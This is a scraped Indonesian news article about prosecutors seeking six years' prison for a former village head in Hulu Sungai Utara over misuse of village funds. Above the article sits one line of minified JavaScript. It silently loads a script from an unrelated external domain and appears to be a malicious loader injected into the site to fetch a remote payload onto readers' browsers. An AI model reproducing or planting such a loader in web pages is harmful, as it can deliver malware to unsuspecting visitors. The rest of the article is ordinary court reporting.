(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Desa (Kades) Kalumpang Dalam, Kecamatan Babirik, Kabupaten Hulu Sungai Utara (HSU), Kalimantan Selatan, dituntut 6 tahun penjara denda 250 juta subsider 5 bulan penjara. Zidi Ilhami terjerat kasus korupsi anggaran dana desa kala.masih menjabat sebagai kepala desa.
Selain tuntutan pidana penjara, terdakwa Zidi Ilhami juga dituntut membayar uang pengganti kerugian negara sebesar Rp 467 juta oleh Jaksa Penuntut Umum (JPU) dari Kejari HSU.
“Dengan ketentuan apabila tidak dapat membayar 1 bulan setelah putusan berkekuatan tetap maka harta bendanya disita atau dilelang, apabila tidak cukup maka diganti dengan pidana 2 tahun 6 bulan penjara,” tuntut JPU dari Kejari HSU di hadapan majelis hakim Pengadilan Tipikor Banjarmasin, Rabu (12/7/2023) siang
Disebutkan JPU, unsur melawan hukum, memperkaya diri sendiri, dan unsur merugikan keuangan negara telah terbukti di persidangan.
Sementara itu hal yang memberatkan terdakwa menurut JPU yaitu tidak mendukung program pemerintah pemberantasan Tipikor (Tindak Pidana Korupsi), merugikan keuangan negara, dan tidak berterus terang di persidangan. Sedangkan yang meringankan berlaku sopan dan sebelumnya tidak pernah dihukum.
Zidi Ilhami, sebelumnya didakwa melakukan korupsi dana desa Desa Kalumpang Dalam saat masih aktif menjabat Kades tahun 2018.
Berdasarkan audit Badan Pengawasan Keuangan Pembangunan (BPKP) Kalsel terdakwa merugikan keuangan sebesar Rp 467.668.500 dari anggaran dana desa tahun 2018.
Baca juga: Pemkab HSU-Pemkab Barsel Teken Nota Kesepakatan Bersama Kembangkan Potensi Daerah
Dirinya didakwa dengan Pasal 2 ayat 1 Jo Pasal 18 Undang-Undang Nomor 20 tahun 2001 tentang perubahan atas Undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi (Tipikor).
Sedangkan dakwan subsider yaitu Pasal 3 Jo Pasal 18 Undang-undang Nomor 20 Tahun 2001 tentang perubahan atas undang-undang Nomor 31 Tahun 1999 tentang Pemberantasan Tipikor.
Usai pembacaan tuntutan, terdakwa melalui penasehat hukumnya mengatakan akan mengajukan pledoi (pembelaan) pada sidang berikutnya.
“Kami akan mengajukan pledoi atau pembelaan,” kata Silaban, kuasa hukum terdakwa.
Sidang berikutnya akan digelar di Pengadilan Tipikor Banjarmasin pada Rabu (26/7/2023) dengan agenda pembacaan pledoi dari penasehat hukum terdakwa Zidi Ilhami. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.